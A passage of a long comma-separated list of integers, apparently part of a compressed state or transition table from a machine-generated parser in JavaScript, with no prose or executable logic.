,172032,0,0,0,0,172032,172032,0,0,0,0,0,0,0,0,0,0,172032,0,0,0,0,0,0,2777,0,0,0,0,0,0,2784,0,0,0,0,0,0,2986,2987,0,2988,0,2990,0,0,0,0,0,0,0,69632,73728,0,135168,135168,0,0,65536,135168,172032,0,172032,172032,0,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,172032,0,0,0,0,0,0,0,0,0,3014,0,0,0,0,0,0,176128,176128,176128,176128,176128,176128,176128,176128,176128,176128,176128,176128,176128,176128,176128,176128,1,176128,176128,176128,176128,0,0,176128,0,0,0,0,0,0,0,0,176128,176128,176128,176128,176128,176128,176128,176128,176128,0,0,0,0,0,0,0,0,0,3175,0,0,0,0,0,0,0,3,78115,78115,293,0,634,0,0,0,299,300,0,2134016,303,304,1164,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,361,541,541,1308,541,541,541,541,541,541,541,541,541,541,541,541,541,0,0,2242,0,914,563,563,563,563,563,563,563,563,563,563,563,563,563,563,0,0,587,587,587,1203,541,587,563,541,541,541,541,541,563,563,563,563,3070,563,563,563,563,3074,563,563,587,587,587,587,587,1079,0,0,0,0,0,0,0,0,0,0,1102,0,0,0,0,0,0,0,229376,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1134592,0,0,0,0,1691,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3201,563,563,587,587,587,587,0,0,0,0,0,0,0,0,0,0,541,541,541,541,3569,541,541,0,0,563,563,563,563,563,563,563,2251,563,563,563,563,563,563,587,3109,587,587,587,587,587,587,587,587,2407,587,587,587,587,587,2412,2413,563,563,2288,563,563,563,563,563,563,563,563,563,563,563,563,563,563,3541,587,587,587,2375,587,587,587,587,587,587,587,587,587,587,587,587,587,1497,587,587,0,0,0,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,1439,0,3007,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3317,541,541,541,541,3038,541,541,541,541,541,541,541,541,541,541,541,541,1300,541,541,541,563,563,563,3078,563,563,563,563,563,563,563,563,563,563,563,563,1401,563,563,563,587,587,587,587,3120,587,587,587,587,587,587,587,587,587,587,587,1042,587,587,587,587,0,3159,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,155648,3214,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1359,563,563,563,587,3259,587,587,587,3262,587,587,587,587,587,587,587,541,541,563,563,587,587,0,0,0,0,0,0,0,0,0,0,3609,541,541,541,587,587,3270,587,587,587,587,587,587,587,587,587,587,587,587,587,1498,587,587,541,541,541,3330,3331,541,541,541,541,541,541,541,541,563,563,563,563,3581,563,563,563,563,563,3349,563,563,563,563,563,563,563,563,563,587,587,587,587,587,587,587,587,0,541,541,541,3406,541,541,541,541,563,563,563,563,563,563,3415,563,0,587,587,587,587,587,291,1079,0,0,0,0,0,0,0,0,0,249856,249856,249856,249856,249856,249856,249856,249856,1,587,3431,587,587,587,587,587,587,3437,587,587,587,3441,587,541,563,563,3473,563,563,563,563,3478,563,563,563,563,3483,563,563,563,563,977,563,563,563,563,0,587,587,587,587,587,587,1931,587,587,587,587,587,587,587,587,587,2678,587,587,587,2681,587,587,0,0,3456,541,541,541,541,541,541,541,541,541,541,541,541,541,0,2586,0,541,3471,563,563,563,563,563,563,563,563,563,563,563,563,563,563,0,2327,563,3487,587,587,587,587,587,587,587,587,587,587,587,587,587,587,0,0,563,563,587,587,587,587,0,0,541,541,563,563,587,587,0,541,541,541,3205,541,541,541,541,541,541,541,3210,541,541,541,541,541,541,2816,541,541,2820,541,541,541,541,541,541,541,541,3041,541,541,541,541,541,541,541,541,2556,541,541,541,541,541,541,541,541,2233,541,541,541,541,541,0,0,563,587,0,541,563,587,0,541,563,587,0,541,563,587,0,0,0,0,0,0,0,0,0,3510,0,0,0,0,541,541,541,541,541,2165,541,541,541,541,541,541,541,541,3616,563,563,563,563,563,563,563,2265,563,563,563,563,2270,563,563,563,184932,184932,184932,184932,184932,184932,184932,0,0,0,0,0,184932,0,184932,1,12290,3,0,0,0,0,0,0,0,0,0,0,0,0,301,301,0,0,301,301,143661,301,301,301,301,301,301,301,301,301,301,301,143731,301,301,301,301,12290,3,78115,78115,293,0,0,0,0,0,299,300,0,2134016,303,304,587,0,0,188416,541,587,563,541,541,541,541,541,563,563,563,563,587,587,587,587,0,0,0,0,2731,0,0,0,0,305,0,0,0,0,0,0,0,0,0,0,0,0,0,249856,0,0,0,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,0,192972,0,1,0,0,0,0,0,192972,192972,192972,192972,192972,192972,192972,192972,192972,192972,0,0,192972,0,0,0,0,0,0,0,0,0,0,1145,365,365,0,0,1148,192972,192972,192972,0,192972,192972,192972,192972,192972,0,0,0,0,0,0,0,0,0,3304,0,3180,0,0,0,0,302,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,541,407,407,407,407,407,407,407,0,0,0,0,0,407,0,407,1,12290,3,0,0,0,0,0,0,0,0,0,0,0,118784,299,12290,3,78115,78115,293,0,0,0,0,0,299,300,0,302,303,304,587,0,0,740,541,587,563,541,541,541,541,541,563,563,563,563,587,587,587,587,0,0,2729,0,0,0,0,0,0,740,1184,0,0,0,0,1188,0,0,0,0,0,0,0,378,0,381,0,0,0,381,0,0,563,587,587,587,587,587,1079,1559,0,0,0,1565,0,0,0,1571,2034,0,0,0,0,1577,2036,0,0,0,0,0,0,0,397,0,0,0,0,0,397,0,0,0,0,0,1577,0,0,0,0,0,0,0,0,0,0,0,0,0,262144,0,0,0,0,0,1188,1669,0,0,0,0,0,0,0,0,0,0,0,0,3177,0,0,0,563,563,587,587,587,587,1559,2030,0,0,0,0,1565,2032,0,0,0,0,0,0,2997,0,0,0,0,0,0,0,0,0,0,1586,1587,0,0,0,0,0,0,0,0,1669,0,0,0,0,0,0,0,0,0,0,0,0,106496,0,0,0,0,0,0,2034,0,2036,0,0,0,0,0,0,0,0,0,0,0,0,0,1150976,0,0,0,0,0,563,563,563,563,2325,2652,0,0,0,0,587,587,587,587,587,587,587,587,587,587,587,587,587,2343,0,307,0,307,0,0,0,0,0,0,0,0,0,307,0,0,0,0,0,0,3011,0,0,0,0,3016,3017,0,3019,0,0,0,0,0,204800,204800,0,204800,204800,204800,204800,204800,204800,204800,204800,204800,204800,204800,204800,204800,204800,204800,205107,204800,204800,205106,205107,204800,205106,205106,204800,204800,0,0,0,0,0,0,0,0,0,122880,0,122880,122880,122880,122880,122880,12290,3,0,0,2183801,0,0,0,0,0,299,300,151552,2134016,303,304,0,212992,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,172032,0,0,151552,0,0,0,0,0,0,0,0,0,0,0,0,0,303,0,0,0,0,0,3117056,0,0,0,0,0,0,0,0,2200253,0,0,0,0,0,0,678,0,0,0,0,0,0,0,0,0,0,2977,0,0,0,0,0,0,914,2126737,2126737,2126737,2126737,2126737,2425745,2433937,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3138449,2126811,2126811,2499547,2126811,2126811,2126737,2724753,2126737,2732945,2773905,2126737,2126737,2126737,2806673,2126737,2831249,2126737,2126737,2864017,2126737,2126737,2126737,2126737,2126811,2126811,2126811,2126811,2126811,2593755,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3036123,2126811,2126811,3072987,2126811,2126811,2126811,3122139,2126811,2126737,2126737,2921361,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3117969,2126737,0,2126811,2126811,2126811,2126811,2126811,0,0,0,0,0,0,0,0,0,0,1190,0,0,0,0,0,2126811,2425819,2434011,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3126235,2126811,2126811,2126811,2126811,2126811,2626523,2126811,2126811,2126811,2126811,2126811,2126811,2700251,2126811,2716635,2126811,2724827,2126811,2733019,2773979,2126811,0,2502656,0,0,3010560,0,0,0,0,0,0,0,0,2990080,2179072,2179072,3125248,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2125824,2125824,2125824,2125824,2125824,2592768,2125824,2125824,2125824,2125824,2126811,2126811,2806747,2126811,2831323,2126811,2126811,2864091,2126811,2126811,2126811,2126811,2921435,2126811,2126811,2126811,0,2179072,2126811,2126737,2457600,2179072,2179072,2179072,2179072,2458513,2126737,2126737,2126737,2126737,2126737,2524049,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2601873,2126737,2126737,2458587,2126811,2126811,2126811,2126811,2183168,0,0,0,0,0,0,0,0,0,0,1206,0,1208,0,0,0,0,2126737,2126737,2126737,2409361,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,0,0,2126811,2126811,2126811,2409435,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2839515,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3118043,2126811,2126811,2126811,2126811,2126811,2126811,2126811,0,0,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2462609,2466705,2126737,2126737,2126737,2642833,2126737,2126737,2126737,2126737,2126737,2126737,2720657,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3040145,2126737,3064721,2126737,2126737,2126737,2126737,2126737,3101585,2769809,2778001,2782097,2798481,2823057,2126737,2126737,2126737,2884497,2126737,2913169,2126737,2126737,2126737,2126737,2126737,2126737,2626449,2126737,2126737,2126737,2126737,2126737,2126737,2700177,2126737,2716561,2126737,2126737,3134353,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3208081,2126737,0,0,0,0,0,0,3026,541,541,541,541,541,541,541,541,541,541,1352,541,541,541,541,541,0,0,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2462683,2466779,2126811,2126811,2126811,2126811,2126811,2929627,2126811,2126811,2126811,2999259,2126811,2126811,2126811,2126811,3060699,2126811,2126811,2126811,2126811,2454491,2126811,2474971,2483163,2126811,2126811,2126811,2126811,2126811,2126811,2532315,2126811,2126811,2126811,2446299,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2552795,2769883,2778075,2782171,2798555,2823131,2126811,2126811,2126811,2884571,2126811,2913243,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3130331,2126811,2126811,3154907,3167195,3175387,2506752,2507739,2507665,2126811,2126811,3134427,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3208155,2126811,2179072,2126811,2126811,2126811,2642907,2126811,2126811,2126811,2126811,2126811,2126811,2720731,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3040219,2126811,3064795,2126811,2126811,2126811,2126811,2126811,3101659,0,0,0,2388881,2126737,2126737,2126737,2421649,2126737,2126737,2126737,2126737,2126737,2454417,2126737,2474897,2483089,2126737,2126737,2126737,2126737,2126737,2126737,2532241,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2605969,2126737,2630545,2126737,2126737,2651025,2126737,2126737,2126737,2708369,2126737,2737041,2126737,2126737,2126737,2126737,2126737,2126737,2663313,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,0,0,988,2126811,2126811,2126811,2126811,3036049,2126737,2126737,3072913,2126737,2126737,2126737,3122065,2126737,2126737,3142545,2126737,2126737,2126737,3171217,2126737,2126737,2126737,2888593,2126737,2126737,2925457,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,986,2126811,2126811,2126811,2126811,2126811,2126811,2126737,3191697,3195793,2126737,0,0,0,0,0,0,2388955,2126811,2126811,2126811,2421723,2126811,2126811,2449408,0,2535424,3031040,2859008,0,0,0,0,0,2179072,2449408,2179072,2535424,2126811,2737115,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2888667,2126811,2126811,2925531,2126811,2126811,2126811,2126811,2126811,2585563,2126811,2126811,2126811,2126811,2126811,2618331,2126811,2126811,2126811,2126811,2126811,2126811,2606043,2126811,2630619,2126811,2126811,2651099,2126811,2126811,2126811,2708443,2126811,3142619,2126811,2126811,2126811,3171291,2126811,2126811,3191771,3195867,2126811,2179072,2126811,2126737,2179072,2179072,2179072,2637824,2179072,2179072,2179072,2179072,2727936,2752512,2179072,2179072,2179072,2842624,2846720,2179072,3112960,3219456,2126737,2126737,3113873,3220369,2126811,2126811,3113947,3220443,0,0,0,0,0,0,0,415,415,0,0,0,0,0,415,0,3096576,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3223552,0,0,2126737,2126737,2417553,2126737,2126737,2126737,2126737,2929553,2126737,2126737,2126737,2999185,2126737,2126737,2126737,2126737,3060625,2126737,2126737,2126737,2126737,2933649,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3130257,2126737,2126737,2126737,2519953,2126737,2126737,2126737,2126737,2589585,2126737,2614161,2646929,2126737,2126737,2696081,2757521,2126737,2446225,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2552721,2126737,2126737,2126737,2638737,2126737,2126737,2126737,2126737,2728849,2753425,2126737,2126737,2126737,2126737,2843537,2847633,2126737,2896785,2917265,2126737,2126737,2945937,2126737,2126737,2995089,2126737,3003281,2126737,2126737,3023761,2126737,3068817,3085201,2126737,3097489,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3224465,0,0,2126811,2126811,2417627,2843611,2847707,2126811,2896859,2917339,2126811,2126811,2946011,2126811,2126811,2995163,2126811,3003355,2126811,2126811,3023835,2126811,3068891,3085275,2126811,3097563,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3224539,2179072,2126811,2126737,2126737,2126737,3031953,2126737,2126811,2450395,2126811,2536411,2126811,2610139,2126811,2859995,2126811,2126811,2126811,2126811,2126811,2524123,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2601947,2126811,2515857,2126737,2126737,2126737,2544529,2548625,2126737,2126737,2597777,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2585489,2126737,2126737,2126737,2126737,2126737,2618257,2126811,2515931,2126811,2126811,2126811,2544603,2548699,2126811,2126811,2597851,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2655195,2679771,2761691,2765787,2786267,2855899,2970587,2126811,3007451,3154833,3167121,3175313,2397147,2401243,2126811,2126811,2442203,2126811,2470875,2126811,2126811,2126811,2520027,2126811,2126811,2126811,2126811,2126811,2638811,2126811,2126811,2126811,2126811,2728923,2753499,2126811,2126811,2126811,2126811,2126811,2126811,3179483,2179072,2126811,2126737,2179072,2179072,2126737,2126737,2126811,2126811,0,0,0,0,0,0,2510848,2514944,0,0,2678784,2760704,2764800,2854912,2969600,2179072,3006464,2179072,3018752,2179072,2179072,2179072,3149824,2126737,2429841,2438033,2126737,2487185,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2655121,2679697,2761617,2765713,2786193,2855825,2970513,2126737,3007377,2126737,3019665,2126737,2126737,2126737,2126737,3150737,2126811,2429915,2438107,2126811,2487259,2126811,2126811,2589659,2126811,2614235,2647003,2126811,2126811,2696155,2757595,2126811,2126811,2126811,2126811,2933723,2126811,2126811,2663387,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2802651,2814939,2126811,3019739,2126811,2126811,2126811,2126811,3150811,2179072,3051520,2126737,3052433,2126811,3052507,0,2490368,2498560,2126811,2556891,2565083,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3138523,2940928,2941841,2941915,0,0,0,0,0,2748416,2879488,0,3180,0,0,0,0,0,0,0,647,0,0,0,0,0,0,0,0,0,2467,0,0,2470,0,0,0,2179072,2502656,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3010560,2179072,2179072,2126737,2126737,2126811,2126811,0,2486272,0,0,0,0,0,2678784,2854912,3006464,2503569,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3011473,2126737,2126737,2126737,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2179072,2126811,2126737,2179072,2179072,2179072,2179072,2126737,2126737,2126737,2126737,2126811,2126811,2126811,2126811,0,0,0,0,0,0,0,0,0,0,0,2112,0,0,0,0,2503643,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,2126811,3011547,2126811,2126811,2126811,0,0,0,2179072,2126811,2126737,2179072,2179072,2179072,2179072,2179072,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2179072,2609152,2179072,2859008,2179072,2179072,2179072,3031040,2126737,2450321,2126737,2536337,2126737,2610065,2126737,2859921,3032027,2126811,2527232,0,0,0,0,0,2179072,2527232,2179072,2179072,2179072,2179072,2179072,2126737,2126737,2802577,2814865,2126737,2839441,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,2126737,3126161,2126737,2528145,2126737,2126737,2126737,2126737,2126737,3093393,2126811,2528219,2126811,2126811,2126811,2126811,2126811,3093467,0,0,0,0,0,782,0,0,0,0,0,0,541,843,541,541,541,541,541,1796,541,541,541,541,541,541,541,541,541,541,541,2822,541,541,541,541,3026944,0,0,0,2404352,2179072,2179072,2179072,2179072,3026944,2405265,2126737,2126737,2126737,2126737,3027857,2405339,2126811,2126811,2126811,2126811,3027931,0,2539520,0,2949120,2179072,2658304,2973696,2179072,2126737,2659217,2974609,2126737,2126811,2659291,2974683,2126811,0,2711552,256e4,2179072,2560913,2126737,2560987,2126811,0,2179072,2179072,3133440,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3207168,2179072,0,0,0,0,0,0,2464,0,0,0,0,0,0,0,0,0,324,398,0,0,0,324,0,2126737,2126811,0,2179072,2126737,2126811,0,2179072,2126737,2126811,2985984,2985984,2986897,2986971,0,0,0,0,0,0,3164,0,0,3167,0,0,0,0,0,0,0,1135,0,0,0,0,0,0,0,0,0,824,0,0,0,0,0,0,0,221184,221184,0,0,0,0,0,0,0,0,0,221184,221184,0,0,221184,221184,221184,0,0,0,0,0,0,0,221184,0,0,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,0,0,0,0,0,0,0,0,0,0,221184,0,221184,221184,221184,221184,221184,221184,221184,221184,221184,221184,1,12290,3,0,0,0,0,0,0,0,0,0,0,0,139264,300,0,303,0,0,0,303,0,304,0,0,0,304,0,0,0,304,69632,139682,0,0,0,0,0,65536,0,0,0,0,98304,0,0,0,53248,0,0,0,0,0,2662400,0,2813952,0,0,3133440,0,98304,0,0,0,0,0,0,0,0,0,0,0,0,111051,0,0,0,0,303,0,304,0,0,0,2473984,2478080,0,0,0,0,0,0,0,0,0,159744,159744,159744,159744,159744,159744,159744,159744,159744,159744,159744,159744,159744,159744,159744,159744,163840,3121152,2179072,2179072,3141632,2179072,2179072,2179072,3170304,2179072,2179072,3190784,3194880,2179072,914,0,0,0,0,0,0,3172,3173,0,0,0,0,0,0,0,0,0,665,0,0,668,0,0,0,0,914,0,2387968,2125824,2125824,2125824,2420736,2125824,2125824,2125824,2125824,2125824,2453504,2125824,2473984,2482176,2125824,2125824,2125824,2125824,2125824,2125824,2531328,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2605056,2125824,3190784,3194880,2125824,988,0,0,0,988,0,2387968,2125824,2125824,2125824,2420736,2125824,0,2125824,2125824,2125824,2125824,2125824,0,0,0,299,0,0,0,303,0,0,0,303,119198,73728,0,0,0,0,0,65536,0,3096576,2179072,2179072,2179072,2179072,2179072,2179072,2179072,3223552,914,0,2125824,2125824,2416640,2125824,2125824,2125824,2125824,2125824,2125824,2625536,2125824,2125824,2125824,2125824,2125824,2125824,2699264,2125824,2715648,2125824,2723840,2125824,2732032,2772992,2125824,3084288,2125824,3096576,2125824,2125824,2125824,2125824,2125824,2125824,2125824,3223552,988,0,2125824,2125824,2416640,225890,225890,225890,225890,225890,225890,225890,225741,225741,225741,225741,225741,225906,225741,225906,1,12290,3,0,0,0,0,0,0,0,90409,90409,90409,90409,0,94506,94506,90409,90409,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,94506,1,2125824,237568,2125824,2125824,2125824,2125824,2125824,0,0,0,0,0,0,0,0,0,0,1222,0,0,0,0,0,249856,249856,249856,249856,249856,249856,249856,249856,249856,249856,249856,249856,249856,249856,249856,249856,0,0,0,0,0,0,0,0,0,217088,0,0,0,0,0,0,0,0,0,0,0,0,0,304,0,0,2125824,241664,2125824,2125824,2125824,2125824,2125824,0,0,0,0,0,0,0,0,0,0,1236,0,0,0,0,0,254414,254414,254414,254414,254414,254414,254414,254414,254414,254414,254414,254414,254414,254414,254414,254414,0,0,0,0,0,0,0,12290,0,0,0,2183168,0,0,270336,0,0,299,300,0,2134016,303,304,200704,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,687,2125824,0,2125824,2125824,2125824,2125824,2125824,0,0,180224,0,0,0,0,0,0,0,663,0,0,666,667,0,0,0,0,2940928,0,0,0,0,0,2748416,2879488,0,20480,0,0,0,0,0,0,0,679,0,0,0,0,0,0,0,0,0,1129,0,0,0,0,0,0,1,12290,2113826,0,0,0,0,0,0,296,0,0,0,296,0,0,0,0,0,0,3182,0,0,0,0,3187,0,0,0,0,0,0,0,69632,73728,0,0,0,0,0,65536,0,0,0,0,266240,0,0,0,0,0,0,0,0,0,0,0,266240,0,0,0,0,0,0,0,0,0,0,1,0,0,0,266240,0,0,0,0,0,0,0,0,0,0,0,0,0,2662400,0,2813952,12290,2113826,0,0,2183168,0,0,0,0,0,299,300,0,2134016,303,304,2125824,245760,0,0,2179072,2125824,2125824,2179072,2179072,2179072,2179072,2179072,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2584576,2125824,2125824,2125824,2125824,2125824,2617344,2125824,2125824,2125824,2125824,2125824,245760,2125824,2125824,2125824,2125824,2125824,0,0,0,0,0,0,0,0,0,0,1245,0,0,0,0,0,274432,274432,274432,274432,274432,274432,274432,0,0,0,0,0,274432,0,274432,1,12290,3,0,0,0,0,0,253952,0,0,0,253952,0,0,0,0,0,0,0,0,0,0,0,0,0,1155072,0,0,0,0,0,0,12290,3,78115,78115,293,0,0,0,0,0,299,300,0,0,303,304,563,563,587,587,587,587,0,2030,0,0,0,0,0,2032,0,0,0,0,0,0,3196,0,0,0,0,0,0,0,0,0,0,3186,0,0,0,3189,0,0,0,0,2034,0,0,0,0,0,2036,0,0,0,0,0,0,0,695,0,0,0,0,365,365,365,0,0,2485,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,266240,0,0,0,1678,0,0,0,0,0,0,0,0,0,0,0,0,338,0,0,0,0,0,0,0,1669,0,0,0,0,0,0,0,0,2114,0,0,0,0,0,0,3395,541,541,541,541,3399,541,541,541,541,541,541,1346,541,541,541,541,541,541,1356,541,541,12290,3,78115,78456,293,0,0,0,0,0,299,300,0,0,303,304,541,588,564,564,564,564,564,564,564,588,588,588,541,588,588,588,588,588,588,588,588,564,564,541,564,588,564,588,1,0,0,0,0,2775,0,0,0,0,0,0,0,0,0,0,0,0,163840,0,0,0,1,12290,3,78116,293,0,0,0,0,0,0,0,0,0,0,0,0,167936,0,0,0,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,1,0,0,0,0,0,282624,282624,282624,282624,282624,282624,282624,282624,282624,282624,0,0,282624,0,0,0,0,0,0,0,0,0,0,1600,1601,0,0,0,0,282624,282624,282624,0,282624,282624,282624,282624,282624,0,0,0,0,0,0,0,0,0,254414,254414,254414,254414,254414,254414,254414,254414,1,2981888,2396160,0,3153920,3180,0,0,0,0,0,0,0,2740224,0,0,0,0,0,0,679,751,0,0,0,0,0,0,0,0,0,1144,0,365,365,0,1147,0,0,0,0,0,286720,286720,0,286720,286720,286720,286720,286720,286720,286720,286720,286720,0,0,0,0,0,0,0,286720,286720,286720,286720,286720,286720,286720,286720,286720,286720,286720,286720,286720,286720,286720,286720,0,3108864,3198976,0,0,3043328,0,3149824,2936832,0,2760704,3305,2437120,0,0,0,0,0,0,680,0,0,0,0,0,0,0,0,0,300,0,0,0,0,0,0,0,0,0,0,2875392,0,0,0,3386,0,0,0,0,0,0,2834432,2940928,0,0,0,0,0,2748416,2879488,0,3386,0,0,0,0,0,0,0,709,0,0,0,0,0,0,0,0,0,2048,0,0,0,0,0,0,0,0,0,309,0,0,0,0,0,308,0,308,309,0,308,308,0,0,0,308,308,309,309,0,0,0,0,0,0,308,408,309,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,781,0,0,0,309,413,0,0,69632,73728,0,0,0,0,0,65536,0,0,0,0,0,783,0,802,0,0,0,0,541,847,541,541,541,541,541,2830,2831,541,541,541,541,2834,541,541,541,541,541,541,541,3521,541,3523,541,541,3525,541,563,563,0,0,432,0,0,0,0,308,449,463,463,463,463,463,463,463,463,463,463,463,463,463,463,463,463,463,463,463,463,489,489,463,489,489,489,489,489,489,489,514,489,489,489,489,489,489,489,489,489,489,489,489,489,489,489,534,489,489,489,489,489,542,565,542,565,542,542,565,542,589,565,565,565,565,565,565,565,589,589,589,542,589,589,589,589,589,589,589,589,565,565,542,565,589,565,589,1,0,0,674,0,0,0,0,0,0,0,0,0,0,0,0,0,323,324,0,0,704,0,0,0,0,0,0,0,711,0,0,0,0,0,0,0,742,0,0,0,0,742,0,748,0,0,0,736,0,0,0,0,0,0,0,0,0,0,0,747,0,0,0,0,0,792,663,841,0,0,0,0,541,845,541,541,541,541,541,2217,541,541,541,541,541,541,541,541,541,541,541,1802,541,541,541,541,0,0,0,0,645,0,0,0,0,0,0,0,0,0,0,0,0,172032,0,0,0,0,0,0,0,0,765,0,0,768,0,0,0,0,774,0,0,778,0,0,0,0,0,0,3562,0,3564,541,541,541,541,541,541,541,541,541,3219,541,541,541,541,541,3224,0,0,785,0,0,0,0,789,0,0,0,0,0,0,0,793,0,0,736,0,793,0,0,0,0,648,0,0,0,0,0,0,0,807,808,0,0,0,0,808,0,0,807,0,0,0,0,0,755,0,0,816,817,0,0,0,793,0,0,0,0,0,0,0,0,0,0,0,0,221184,0,0,0,0,0,0,648,0,0,0,0,0,834,789,0,0,0,0,0,0,0,2139,0,0,0,0,0,0,0,0,0,1712,0,0,0,0,0,0,838,839,789,789,0,0,0,0,789,736,789,0,541,541,849,853,563,964,563,967,563,563,981,563,563,0,587,587,587,996,1e3,587,0,0,0,0,0,0,0,0,3180,3448,0,0,0,0,0,0,0,2465,0,0,0,0,0,0,0,0,0,2152,0,0,0,0,0,0,1093,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1135,0,0,0,0,1152,0,0,0,0,1157,0,0,0,0,0,0,0,822,0,816,0,664,0,0,0,0,0,0,0,0,1201,0,0,0,0,0,0,0,0,0,0,0,0,221184,0,221184,0,0,0,1253,0,0,0,0,0,0,0,0,0,0,0,0,0,339,340,341,541,541,1342,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2239,0,0,0,0,0,1596,0,0,0,0,0,0,0,0,0,0,0,0,233472,0,0,0,0,0,0,1640,0,0,0,0,0,0,0,0,0,0,0,0,354,355,356,357,1653,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1163,0,0,0,0,1669,0,0,0,0,0,0,1673,0,0,0,0,0,0,0,69632,73728,0,0,0,346,345,65536,344,0,1729,0,0,0,0,541,541,541,541,541,541,541,541,541,541,541,3327,541,541,1742,541,541,541,541,541,541,541,541,541,1755,541,541,541,541,541,541,541,2193,541,541,541,541,541,541,541,541,541,2557,541,541,541,541,541,541,541,541,541,1794,541,541,1797,541,541,541,541,541,541,541,541,541,541,1314,541,541,541,1318,541,541,1809,541,541,541,541,541,1814,541,541,541,541,541,541,541,1360,914,563,563,563,563,563,563,563,563,563,563,563,563,563,563,0,2328,1824,563,563,563,563,563,1831,563,563,563,563,563,1837,563,563,563,563,563,3093,563,563,563,563,563,563,563,563,563,3102,563,563,1892,563,563,563,563,563,563,563,563,563,563,1905,563,563,563,563,978,563,563,563,563,0,587,587,587,587,587,587,1997,587,587,587,587,587,587,587,587,587,1531,587,587,587,587,587,587,563,563,563,1910,563,563,563,563,563,563,563,26028,1920,587,587,587,0,1285,1469,1377,541,541,1339,541,541,563,563,1431,563,587,587,1927,587,587,587,587,587,1933,587,587,587,587,587,587,587,1529,587,587,587,587,587,587,587,587,1932,587,587,587,587,587,587,587,587,1494,587,587,587,587,587,587,587,587,587,1946,587,587,587,587,587,587,587,587,587,587,587,587,587,1513,587,587,563,563,2026,587,587,587,0,2030,0,0,0,0,0,2032,0,0,0,0,0,0,131072,0,131072,131072,131072,131072,0,131072,131072,131072,131072,131072,131072,131072,0,0,0,0,0,131072,0,131072,1,0,0,0,2042,0,0,0,0,0,0,0,0,0,0,0,0,365,365,365,0,0,2141,0,0,2148,0,0,0,0,0,0,0,0,0,0,0,0,237568,0,0,0,0,0,0,2140,541,541,541,541,541,541,541,541,541,541,541,2170,541,541,2173,541,541,541,541,541,541,2181,541,541,541,541,541,541,541,541,2841,541,541,541,541,541,541,541,541,1294,541,541,541,541,541,541,541,541,1327,541,541,541,1334,1336,541,541,541,541,2214,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2535,541,563,2258,563,563,563,563,563,563,2266,563,563,563,563,563,563,563,983,563,0,587,587,587,587,1001,587,563,2300,563,563,563,563,563,563,563,563,563,563,563,563,563,563,587,587,587,2345,587